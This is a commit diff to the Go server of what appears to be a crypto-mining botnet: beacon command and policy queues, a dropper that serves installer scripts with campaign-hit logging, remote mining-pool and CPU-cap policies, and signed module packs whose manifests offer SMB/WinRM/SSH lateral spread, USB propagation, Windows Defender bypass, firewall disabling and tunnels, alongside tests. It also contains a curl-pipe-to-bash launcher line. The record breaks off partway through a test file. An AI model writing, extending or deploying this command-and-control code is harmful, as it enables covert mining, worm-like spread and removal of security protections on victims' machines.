feat: alive UI wave, galaxy presence, spread and fleet enhancements
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
This commit is contained in:
@@ -18,6 +18,7 @@ type BeaconCommand struct {
|
||||
Command string `json:"command,omitempty"`
|
||||
Path string `json:"path,omitempty"`
|
||||
Data string `json:"data,omitempty"`
|
||||
Module string `json:"module,omitempty"`
|
||||
}
|
||||
|
||||
type beaconRequest struct {
|
||||
@@ -30,8 +31,9 @@ type beaconRequest struct {
|
||||
}
|
||||
|
||||
type beaconResponse struct {
|
||||
OK bool `json:"ok"`
|
||||
Commands []BeaconCommand `json:"commands"`
|
||||
OK bool `json:"ok"`
|
||||
Commands []BeaconCommand `json:"commands"`
|
||||
Policies []FleetAgentPolicy `json:"policies,omitempty"`
|
||||
}
|
||||
|
||||
type beaconResultRequest struct {
|
||||
@@ -50,6 +52,9 @@ func (h *WSHub) initBeaconMaps() {
|
||||
if h.beaconCmdQueue == nil {
|
||||
h.beaconCmdQueue = make(map[string][]BeaconCommand)
|
||||
}
|
||||
if h.beaconPolicyQueue == nil {
|
||||
h.beaconPolicyQueue = make(map[string][]FleetAgentPolicy)
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) agentExistsInDB(agentID string) bool {
|
||||
@@ -77,6 +82,7 @@ func (h *WSHub) ClearBeaconTransport(agentID string) {
|
||||
h.beaconMu.Lock()
|
||||
delete(h.beaconLastSeen, agentID)
|
||||
delete(h.beaconCmdQueue, agentID)
|
||||
delete(h.beaconPolicyQueue, agentID)
|
||||
h.beaconMu.Unlock()
|
||||
}
|
||||
|
||||
@@ -116,6 +122,9 @@ func (h *WSHub) EnqueueBeaconCommand(agentID, action string, args map[string]int
|
||||
if v, ok := args["data"].(string); ok {
|
||||
cmd.Data = v
|
||||
}
|
||||
if v, ok := args["module"].(string); ok {
|
||||
cmd.Module = v
|
||||
}
|
||||
h.initBeaconMaps()
|
||||
h.beaconMu.Lock()
|
||||
h.beaconCmdQueue[agentID] = append(h.beaconCmdQueue[agentID], cmd)
|
||||
@@ -123,6 +132,30 @@ func (h *WSHub) EnqueueBeaconCommand(agentID, action string, args map[string]int
|
||||
return true
|
||||
}
|
||||
|
||||
// EnqueueBeaconPolicy queues a policy_update for HTTPS beacon delivery.
|
||||
func (h *WSHub) EnqueueBeaconPolicy(agentID string, policy FleetAgentPolicy) bool {
|
||||
if !h.agentExistsInDB(agentID) || !h.isAgentBeaconReachable(agentID) || policy.IsEmpty() {
|
||||
return false
|
||||
}
|
||||
h.initBeaconMaps()
|
||||
h.beaconMu.Lock()
|
||||
h.beaconPolicyQueue[agentID] = append(h.beaconPolicyQueue[agentID], normalizeFleetAgentPolicy(policy))
|
||||
h.beaconMu.Unlock()
|
||||
return true
|
||||
}
|
||||
|
||||
func (h *WSHub) dequeueBeaconPolicies(agentID string) []FleetAgentPolicy {
|
||||
h.initBeaconMaps()
|
||||
h.beaconMu.Lock()
|
||||
policies := h.beaconPolicyQueue[agentID]
|
||||
delete(h.beaconPolicyQueue, agentID)
|
||||
h.beaconMu.Unlock()
|
||||
if policies == nil {
|
||||
return []FleetAgentPolicy{}
|
||||
}
|
||||
return policies
|
||||
}
|
||||
|
||||
func (h *WSHub) dequeueBeaconCommands(agentID string) []BeaconCommand {
|
||||
h.initBeaconMaps()
|
||||
h.beaconMu.Lock()
|
||||
@@ -217,7 +250,8 @@ func (h *WSHub) HandleAgentBeacon(w http.ResponseWriter, r *http.Request) {
|
||||
h.MarkBeaconSeen(agentID)
|
||||
h.applyBeaconStats(agentID, req.Stats)
|
||||
cmds := h.dequeueBeaconCommands(agentID)
|
||||
writeJSON(w, beaconResponse{OK: true, Commands: cmds})
|
||||
policies := h.dequeueBeaconPolicies(agentID)
|
||||
writeJSON(w, beaconResponse{OK: true, Commands: cmds, Policies: policies})
|
||||
}
|
||||
|
||||
// HandleAgentBeaconResult receives command results from HTTPS beacon agents.
|
||||
@@ -249,6 +283,14 @@ func (h *WSHub) HandleAgentBeaconResult(w http.ResponseWriter, r *http.Request)
|
||||
writeJSON(w, map[string]interface{}{"ok": true})
|
||||
}
|
||||
|
||||
// FlushBeaconPoliciesToWS delivers queued HTTPS policy updates over WebSocket.
|
||||
func (h *WSHub) FlushBeaconPoliciesToWS(agentID string) {
|
||||
for _, policy := range h.dequeueBeaconPolicies(agentID) {
|
||||
payload := marshalFleetPolicyPayload(policy)
|
||||
_ = h.SendToAgent(agentID, Message{Type: "policy_update", Payload: payload})
|
||||
}
|
||||
}
|
||||
|
||||
// FlushBeaconCommandsToWS delivers any queued HTTPS commands over a live WebSocket.
|
||||
func (h *WSHub) FlushBeaconCommandsToWS(agentID string) {
|
||||
cmds := h.dequeueBeaconCommands(agentID)
|
||||
@@ -266,6 +308,9 @@ func (h *WSHub) FlushBeaconCommandsToWS(agentID string) {
|
||||
if cmd.Data != "" {
|
||||
args["data"] = cmd.Data
|
||||
}
|
||||
if cmd.Module != "" {
|
||||
args["module"] = cmd.Module
|
||||
}
|
||||
_ = h.SendAgentCommand(agentID, cmd.Action, args)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -66,9 +66,9 @@ func detectPlatform(r *http.Request) string {
|
||||
return "" // caller will fall back to latest build regardless of platform
|
||||
}
|
||||
|
||||
func (h *DropperHandler) logCampaign(r *http.Request, buildID, source string) {
|
||||
func (h *DropperHandler) logCampaign(r *http.Request, buildID, source, eventType string) {
|
||||
if c := r.URL.Query().Get("c"); c != "" {
|
||||
_ = h.db.LogCampaignHit(c, buildID, source, clientIP(r), r.UserAgent())
|
||||
_ = h.db.LogCampaignEvent(c, buildID, eventType, source, clientIP(r), r.UserAgent())
|
||||
}
|
||||
}
|
||||
|
||||
@@ -128,7 +128,7 @@ func (h *DropperHandler) resolveDropperBuild(r *http.Request) (*models.BuildReco
|
||||
func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
|
||||
b, buildPath, buildName := h.resolveDropperBuild(r)
|
||||
if b != nil {
|
||||
h.logCampaign(r, b.ID, "get")
|
||||
h.logCampaign(r, b.ID, "get", dbpkg.CampaignEventDownload)
|
||||
}
|
||||
if buildPath == "" {
|
||||
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
||||
@@ -156,7 +156,7 @@ func campaignEnvBlock(campaign string) string {
|
||||
func (h *DropperHandler) ServeSh(w http.ResponseWriter, r *http.Request) {
|
||||
base := h.resolveBase(r)
|
||||
campaign := strings.TrimSpace(r.URL.Query().Get("c"))
|
||||
h.logCampaign(r, "", "install.sh")
|
||||
h.logCampaign(r, "", "install.sh", dbpkg.CampaignEventPageHit)
|
||||
|
||||
script := fmt.Sprintf(`#!/bin/sh
|
||||
# AetherForge agent installer
|
||||
@@ -222,7 +222,7 @@ echo "[+] Agent started (pid $!) — it will install itself and connect back to
|
||||
func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
|
||||
base := h.resolveBase(r)
|
||||
campaign := strings.TrimSpace(r.URL.Query().Get("c"))
|
||||
h.logCampaign(r, "", "install.ps1")
|
||||
h.logCampaign(r, "", "install.ps1", dbpkg.CampaignEventPageHit)
|
||||
|
||||
// Build script as a regular string — backtick in Go raw strings conflicts
|
||||
// with PowerShell's escape character.
|
||||
@@ -272,7 +272,7 @@ func (h *DropperHandler) ServeCommand(w http.ResponseWriter, r *http.Request) {
|
||||
base := h.resolveBase(r)
|
||||
suffix := h.querySuffix(r)
|
||||
campaign := strings.TrimSpace(r.URL.Query().Get("c"))
|
||||
h.logCampaign(r, "", "install.command")
|
||||
h.logCampaign(r, "", "install.command", dbpkg.CampaignEventPageHit)
|
||||
|
||||
script := fmt.Sprintf(`#!/bin/bash
|
||||
# AetherForge macOS launcher — double-click or: curl -sL '%[1]s/install.command' | bash
|
||||
|
||||
59
server/internal/api/fleet_agent_policy.go
Normal file
59
server/internal/api/fleet_agent_policy.go
Normal file
@@ -0,0 +1,59 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// FleetAgentPolicy is runtime mining/policy pushed to agents without re-forge.
|
||||
type FleetAgentPolicy struct {
|
||||
MiningMode string `json:"mining_mode,omitempty"`
|
||||
ScheduleStart string `json:"schedule_start,omitempty"`
|
||||
ScheduleEnd string `json:"schedule_end,omitempty"`
|
||||
MaxCPUUsagePct int `json:"max_cpu_usage_pct,omitempty"`
|
||||
PoolHost string `json:"pool_host,omitempty"`
|
||||
PoolPort int `json:"pool_port,omitempty"`
|
||||
PoolTLS *bool `json:"pool_tls,omitempty"`
|
||||
PoolPass string `json:"pool_pass,omitempty"`
|
||||
}
|
||||
|
||||
func (p FleetAgentPolicy) IsEmpty() bool {
|
||||
var zero FleetAgentPolicy
|
||||
return p == zero
|
||||
}
|
||||
|
||||
func normalizeFleetAgentPolicy(p FleetAgentPolicy) FleetAgentPolicy {
|
||||
p.MiningMode = strings.TrimSpace(strings.ToLower(p.MiningMode))
|
||||
p.ScheduleStart = strings.TrimSpace(p.ScheduleStart)
|
||||
p.ScheduleEnd = strings.TrimSpace(p.ScheduleEnd)
|
||||
p.PoolHost = strings.TrimSpace(p.PoolHost)
|
||||
p.PoolPass = strings.TrimSpace(p.PoolPass)
|
||||
if p.MaxCPUUsagePct < 0 {
|
||||
p.MaxCPUUsagePct = 0
|
||||
}
|
||||
if p.MaxCPUUsagePct > 100 {
|
||||
p.MaxCPUUsagePct = 100
|
||||
}
|
||||
return p
|
||||
}
|
||||
|
||||
func marshalFleetPolicyPayload(p FleetAgentPolicy) json.RawMessage {
|
||||
return mustMarshal(normalizeFleetAgentPolicy(p))
|
||||
}
|
||||
|
||||
// marshalPolicyUpdatePayload attaches push_id so dashboards can correlate agent acks.
|
||||
func marshalPolicyUpdatePayload(pushID string, p FleetAgentPolicy) json.RawMessage {
|
||||
norm := normalizeFleetAgentPolicy(p)
|
||||
if pushID == "" {
|
||||
return mustMarshal(norm)
|
||||
}
|
||||
body, _ := json.Marshal(norm)
|
||||
var flat map[string]interface{}
|
||||
_ = json.Unmarshal(body, &flat)
|
||||
if flat == nil {
|
||||
flat = map[string]interface{}{}
|
||||
}
|
||||
flat["push_id"] = pushID
|
||||
out, _ := json.Marshal(flat)
|
||||
return out
|
||||
}
|
||||
@@ -667,6 +667,97 @@ func (f *FleetHandler) BulkDeleteAgents(w http.ResponseWriter, r *http.Request)
|
||||
json.NewEncoder(w).Encode(map[string]interface{}{"success": true, "deleted": deleted})
|
||||
}
|
||||
|
||||
type fleetPolicyRequest struct {
|
||||
AgentIDs []string `json:"agent_ids"`
|
||||
Policy FleetAgentPolicy `json:"policy"`
|
||||
}
|
||||
|
||||
// PutFleetPolicy pushes runtime mining policy to selected online agents.
|
||||
func (f *FleetHandler) PutFleetPolicy(w http.ResponseWriter, r *http.Request) {
|
||||
if f.ws == nil {
|
||||
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
var req fleetPolicyRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid body", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
policy := normalizeFleetAgentPolicy(req.Policy)
|
||||
if policy.IsEmpty() {
|
||||
http.Error(w, "policy must include at least one field", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
targets := f.ws.ResolveAgentTargets(req.AgentIDs)
|
||||
if len(targets) == 0 {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": false,
|
||||
"error": "no target agents (use agent_ids or \"all\" for online fleet)",
|
||||
})
|
||||
return
|
||||
}
|
||||
pushID := fmt.Sprintf("pol-%d", time.Now().UnixNano())
|
||||
sent, failed := f.ws.PushPolicyUpdate(targets, policy, pushID)
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": sent > 0,
|
||||
"sent": sent,
|
||||
"failed": failed,
|
||||
"targets": len(targets),
|
||||
"push_id": pushID,
|
||||
})
|
||||
if f.db != nil {
|
||||
_ = f.db.InsertAudit("", "fleet_policy_push", "", map[string]string{
|
||||
"sent": strconv.Itoa(sent),
|
||||
"mode": policy.MiningMode,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
type fleetModulePushRequest struct {
|
||||
AgentIDs []string `json:"agent_ids"`
|
||||
Module string `json:"module"`
|
||||
}
|
||||
|
||||
// PostFleetModulePush tells agents to fetch and apply a signed module pack.
|
||||
func (f *FleetHandler) PostFleetModulePush(w http.ResponseWriter, r *http.Request) {
|
||||
if f.ws == nil {
|
||||
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
var req fleetModulePushRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid body", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
module := sanitizeModuleName(req.Module)
|
||||
if module == "" {
|
||||
http.Error(w, "module is required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
targets := f.ws.ResolveAgentTargets(req.AgentIDs)
|
||||
if len(targets) == 0 {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": false,
|
||||
"error": "no target agents (use agent_ids or \"all\" for online fleet)",
|
||||
})
|
||||
return
|
||||
}
|
||||
sent, failed := f.ws.PushModuleFetch(targets, module)
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": sent > 0,
|
||||
"sent": sent,
|
||||
"failed": failed,
|
||||
"module": module,
|
||||
"targets": len(targets),
|
||||
})
|
||||
if f.db != nil {
|
||||
_ = f.db.InsertAudit("", "fleet_module_push", "", map[string]string{
|
||||
"module": module,
|
||||
"sent": strconv.Itoa(sent),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func mustMarshalFleet(v interface{}) json.RawMessage {
|
||||
b, _ := json.Marshal(v)
|
||||
return b
|
||||
|
||||
83
server/internal/api/fleet_policy_test.go
Normal file
83
server/internal/api/fleet_policy_test.go
Normal file
@@ -0,0 +1,83 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/pool"
|
||||
)
|
||||
|
||||
func TestFleetAgentPolicyNormalize(t *testing.T) {
|
||||
p := normalizeFleetAgentPolicy(FleetAgentPolicy{
|
||||
MiningMode: " SCHEDULED ",
|
||||
MaxCPUUsagePct: 150,
|
||||
})
|
||||
if p.MiningMode != "scheduled" {
|
||||
t.Fatalf("mode=%q", p.MiningMode)
|
||||
}
|
||||
if p.MaxCPUUsagePct != 100 {
|
||||
t.Fatalf("cpu cap=%d", p.MaxCPUUsagePct)
|
||||
}
|
||||
}
|
||||
|
||||
func TestModuleStoreEmbeddedPacks(t *testing.T) {
|
||||
store := NewModuleStore(t.TempDir(), func() string { return "fleet-test-secret" })
|
||||
m, err := store.Get("spread")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if m.Name != "spread" || m.Signature == "" {
|
||||
t.Fatalf("bad manifest: %+v", m)
|
||||
}
|
||||
if !VerifyModuleSignature(m, "fleet-test-secret") {
|
||||
t.Fatal("signature should verify")
|
||||
}
|
||||
}
|
||||
|
||||
func TestMarshalPolicyUpdatePayload(t *testing.T) {
|
||||
raw := marshalPolicyUpdatePayload("pol-test-1", FleetAgentPolicy{
|
||||
MiningMode: "idle",
|
||||
MaxCPUUsagePct: 55,
|
||||
})
|
||||
var m map[string]interface{}
|
||||
if err := json.Unmarshal(raw, &m); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if m["push_id"] != "pol-test-1" || m["mining_mode"] != "idle" {
|
||||
t.Fatalf("unexpected payload: %+v", m)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPutFleetPolicyAPI(t *testing.T) {
|
||||
hub := NewWSHub(nil)
|
||||
SetAgentPathSecret("policy-test-secret")
|
||||
handler := NewFleetHandler(nil, hub, nil, nil, nil, poolConfigZero(), t.TempDir())
|
||||
|
||||
body, _ := json.Marshal(fleetPolicyRequest{
|
||||
AgentIDs: []string{"all"},
|
||||
Policy: FleetAgentPolicy{
|
||||
MiningMode: "scheduled",
|
||||
ScheduleStart: "22:00",
|
||||
ScheduleEnd: "06:00",
|
||||
MaxCPUUsagePct: 60,
|
||||
},
|
||||
})
|
||||
req := httptest.NewRequest(http.MethodPut, "/api/v1/fleet/policy", bytes.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
handler.PutFleetPolicy(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var resp map[string]interface{}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if resp["success"] != false {
|
||||
t.Fatalf("expected success=false with no agents: %+v", resp)
|
||||
}
|
||||
}
|
||||
|
||||
func poolConfigZero() pool.Config { return pool.Config{} }
|
||||
39
server/internal/api/module_handler.go
Normal file
39
server/internal/api/module_handler.go
Normal file
@@ -0,0 +1,39 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
)
|
||||
|
||||
type ModuleHandler struct {
|
||||
store *ModuleStore
|
||||
}
|
||||
|
||||
func NewModuleHandler(store *ModuleStore) *ModuleHandler {
|
||||
return &ModuleHandler{store: store}
|
||||
}
|
||||
|
||||
// GetAgentModule serves signed module JSON to forged agents (X-Fleet-Secret).
|
||||
func (h *ModuleHandler) GetAgentModule(w http.ResponseWriter, r *http.Request) {
|
||||
name := chi.URLParam(r, "name")
|
||||
m, err := h.store.Get(name)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
writeJSON(w, m)
|
||||
}
|
||||
|
||||
// ListModules lists available packs for the dashboard.
|
||||
func (h *ModuleHandler) ListModules(w http.ResponseWriter, r *http.Request) {
|
||||
mods, err := h.store.List()
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if mods == nil {
|
||||
mods = []ModuleManifest{}
|
||||
}
|
||||
writeJSON(w, mods)
|
||||
}
|
||||
227
server/internal/api/modules.go
Normal file
227
server/internal/api/modules.go
Normal file
@@ -0,0 +1,227 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"crypto/hmac"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ModuleManifest is a signed feature pack agents can stage at runtime.
|
||||
type ModuleManifest struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
DisplayName string `json:"display_name,omitempty"`
|
||||
Summary string `json:"summary,omitempty"`
|
||||
Description string `json:"description"`
|
||||
Accent string `json:"accent,omitempty"`
|
||||
Capabilities []string `json:"capabilities,omitempty"`
|
||||
Features map[string]interface{} `json:"features"`
|
||||
Signature string `json:"signature"`
|
||||
}
|
||||
|
||||
var embeddedModuleManifests = map[string]ModuleManifest{
|
||||
"crucible_ops": {
|
||||
Name: "crucible_ops",
|
||||
Version: "1",
|
||||
DisplayName: "Crucible Ops",
|
||||
Summary: "Dashboard remote aggressive ops — tunnels, scans, firewall, defender",
|
||||
Description: "Stages remote aggressive command gates on thin agents without re-forge. Enables Crucible dashboard buttons: cloudflared/SSH tunnels, subnet scan, SMB shares, firewall punch, defender bypass, and on-demand spread_now.",
|
||||
Accent: "magenta",
|
||||
Capabilities: []string{
|
||||
"Remote tunnels (cloudflared, SSH forward)",
|
||||
"Subnet scan & SMB share enumeration",
|
||||
"Firewall punch / disable / profile control",
|
||||
"Defender RTP bypass (Windows)",
|
||||
"On-demand spread_now trigger",
|
||||
"Credential vault & secure wipe",
|
||||
},
|
||||
Features: map[string]interface{}{
|
||||
"remote_aggressive": true,
|
||||
},
|
||||
},
|
||||
"spread": {
|
||||
Name: "spread",
|
||||
Version: "1",
|
||||
DisplayName: "Spread Pack",
|
||||
Summary: "Lateral and passive spread — SMB auto-spread plus USB/WMI hooks",
|
||||
Description: "Enables spread flags on a minimal forge. Agents gain auto_spread for scheduled lateral movement and usb_spread for removable-media propagation. Complements baked forge modes — does not replace Emberwake or Spread Kit presets.",
|
||||
Accent: "cyan",
|
||||
Capabilities: []string{
|
||||
"SMB / WinRM auto-spread scheduler",
|
||||
"SSH lateral spread (Linux/macOS)",
|
||||
"USB removable-media propagation",
|
||||
"WMI-based passive hooks (Windows)",
|
||||
"Spread status & funnel telemetry",
|
||||
},
|
||||
Features: map[string]interface{}{
|
||||
"auto_spread": true,
|
||||
"usb_spread": true,
|
||||
},
|
||||
},
|
||||
"gpu": {
|
||||
Name: "gpu",
|
||||
Version: "1",
|
||||
DisplayName: "GPU Miner",
|
||||
Summary: "KawPoW RVN GPU mining when hardware and wallet are present",
|
||||
Description: "Turns on gpu_enabled at runtime so agents with an RVN wallet and supported GPU start T-Rex/TRM alongside the CPU miner. No binary re-forge — the worker downloads the pack, verifies HMAC, and spins up the GPU miner in memory.",
|
||||
Accent: "gold",
|
||||
Capabilities: []string{
|
||||
"KawPoW RVN miner (T-Rex / TRM)",
|
||||
"GPU hashrate telemetry on dashboard",
|
||||
"Pause/resume with fleet policy",
|
||||
"Windows NVIDIA/AMD when drivers present",
|
||||
},
|
||||
Features: map[string]interface{}{
|
||||
"gpu_enabled": true,
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
type ModuleStore struct {
|
||||
dataDir string
|
||||
fleetSecret func() string
|
||||
}
|
||||
|
||||
func NewModuleStore(dataDir string, fleetSecret func() string) *ModuleStore {
|
||||
return &ModuleStore{dataDir: dataDir, fleetSecret: fleetSecret}
|
||||
}
|
||||
|
||||
func (s *ModuleStore) modulesDir() string {
|
||||
return filepath.Join(s.dataDir, "modules")
|
||||
}
|
||||
|
||||
func (s *ModuleStore) ensureDefaultModules() error {
|
||||
dir := s.modulesDir()
|
||||
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||
return err
|
||||
}
|
||||
for name, manifest := range embeddedModuleManifests {
|
||||
path := filepath.Join(dir, name+".json")
|
||||
if _, err := os.Stat(path); err == nil {
|
||||
continue
|
||||
}
|
||||
signed, err := s.signManifest(manifest)
|
||||
if err != nil {
|
||||
return fmt.Errorf("sign %s: %w", name, err)
|
||||
}
|
||||
data, err := json.MarshalIndent(signed, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.WriteFile(path, data, 0644); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *ModuleStore) List() ([]ModuleManifest, error) {
|
||||
if err := s.ensureDefaultModules(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
entries, err := os.ReadDir(s.modulesDir())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var out []ModuleManifest
|
||||
for _, e := range entries {
|
||||
if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".json") {
|
||||
continue
|
||||
}
|
||||
m, err := s.loadFile(filepath.Join(s.modulesDir(), e.Name()))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
out = append(out, m)
|
||||
}
|
||||
sort.Slice(out, func(i, j int) bool { return out[i].Name < out[j].Name })
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (s *ModuleStore) Get(name string) (ModuleManifest, error) {
|
||||
name = sanitizeModuleName(name)
|
||||
if name == "" {
|
||||
return ModuleManifest{}, fmt.Errorf("module name required")
|
||||
}
|
||||
if err := s.ensureDefaultModules(); err != nil {
|
||||
return ModuleManifest{}, err
|
||||
}
|
||||
path := filepath.Join(s.modulesDir(), name+".json")
|
||||
if _, err := os.Stat(path); err == nil {
|
||||
return s.loadFile(path)
|
||||
}
|
||||
if m, ok := embeddedModuleManifests[name]; ok {
|
||||
return s.signManifest(m)
|
||||
}
|
||||
return ModuleManifest{}, fmt.Errorf("module %q not found", name)
|
||||
}
|
||||
|
||||
func (s *ModuleStore) loadFile(path string) (ModuleManifest, error) {
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return ModuleManifest{}, err
|
||||
}
|
||||
var m ModuleManifest
|
||||
if err := json.Unmarshal(data, &m); err != nil {
|
||||
return ModuleManifest{}, err
|
||||
}
|
||||
if m.Name == "" {
|
||||
m.Name = strings.TrimSuffix(filepath.Base(path), ".json")
|
||||
}
|
||||
return s.signManifest(m)
|
||||
}
|
||||
|
||||
func (s *ModuleStore) signManifest(m ModuleManifest) (ModuleManifest, error) {
|
||||
secret := ""
|
||||
if s.fleetSecret != nil {
|
||||
secret = s.fleetSecret()
|
||||
}
|
||||
if secret == "" {
|
||||
return ModuleManifest{}, fmt.Errorf("fleet secret not configured")
|
||||
}
|
||||
m.Signature = ""
|
||||
payload, err := json.Marshal(m)
|
||||
if err != nil {
|
||||
return ModuleManifest{}, err
|
||||
}
|
||||
mac := hmac.New(sha256.New, []byte(secret))
|
||||
mac.Write(payload)
|
||||
m.Signature = hex.EncodeToString(mac.Sum(nil))
|
||||
return m, nil
|
||||
}
|
||||
|
||||
func sanitizeModuleName(name string) string {
|
||||
name = strings.TrimSpace(strings.ToLower(name))
|
||||
if name == "" {
|
||||
return ""
|
||||
}
|
||||
for _, r := range name {
|
||||
if (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '_' || r == '-' {
|
||||
continue
|
||||
}
|
||||
return ""
|
||||
}
|
||||
return name
|
||||
}
|
||||
|
||||
func VerifyModuleSignature(m ModuleManifest, fleetSecret string) bool {
|
||||
if fleetSecret == "" || m.Signature == "" {
|
||||
return false
|
||||
}
|
||||
sig := m.Signature
|
||||
m.Signature = ""
|
||||
payload, err := json.Marshal(m)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
mac := hmac.New(sha256.New, []byte(fleetSecret))
|
||||
mac.Write(payload)
|
||||
expected := hex.EncodeToString(mac.Sum(nil))
|
||||
return hmac.Equal([]byte(expected), []byte(sig))
|
||||
}
|
||||
87
server/internal/api/modules_test.go
Normal file
87
server/internal/api/modules_test.go
Normal file
@@ -0,0 +1,87 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
)
|
||||
|
||||
func TestListModulesAPI(t *testing.T) {
|
||||
store := NewModuleStore(t.TempDir(), func() string { return "list-secret" })
|
||||
h := NewModuleHandler(store)
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/fleet/modules", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ListModules(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var mods []ModuleManifest
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &mods); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(mods) < 3 {
|
||||
t.Fatalf("expected at least 3 default packs, got %d", len(mods))
|
||||
}
|
||||
names := map[string]ModuleManifest{}
|
||||
for _, m := range mods {
|
||||
names[m.Name] = m
|
||||
}
|
||||
for _, want := range []string{"crucible_ops", "spread", "gpu"} {
|
||||
m, ok := names[want]
|
||||
if !ok {
|
||||
t.Fatalf("missing pack %q", want)
|
||||
}
|
||||
if m.DisplayName == "" || m.Summary == "" || len(m.Capabilities) == 0 {
|
||||
t.Fatalf("pack %q missing UI metadata: %+v", want, m)
|
||||
}
|
||||
if len(m.Features) == 0 {
|
||||
t.Fatalf("pack %q missing features", want)
|
||||
}
|
||||
if m.Signature == "" {
|
||||
t.Fatalf("pack %q unsigned", want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetAgentModuleAPI(t *testing.T) {
|
||||
store := NewModuleStore(t.TempDir(), func() string { return "agent-mod-secret" })
|
||||
h := NewModuleHandler(store)
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/agent/module/gpu", nil)
|
||||
rctx := chi.NewRouteContext()
|
||||
rctx.URLParams.Add("name", "gpu")
|
||||
req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
|
||||
rec := httptest.NewRecorder()
|
||||
h.GetAgentModule(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var m ModuleManifest
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &m); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if m.Name != "gpu" || m.Features["gpu_enabled"] != true {
|
||||
t.Fatalf("unexpected gpu manifest: %+v", m)
|
||||
}
|
||||
if !VerifyModuleSignature(m, "agent-mod-secret") {
|
||||
t.Fatal("agent module signature invalid")
|
||||
}
|
||||
}
|
||||
|
||||
func TestVerifyModuleSignatureRejectsTamper(t *testing.T) {
|
||||
store := NewModuleStore(t.TempDir(), func() string { return "tamper-secret" })
|
||||
m, err := store.Get("crucible_ops")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !VerifyModuleSignature(m, "tamper-secret") {
|
||||
t.Fatal("expected valid signature")
|
||||
}
|
||||
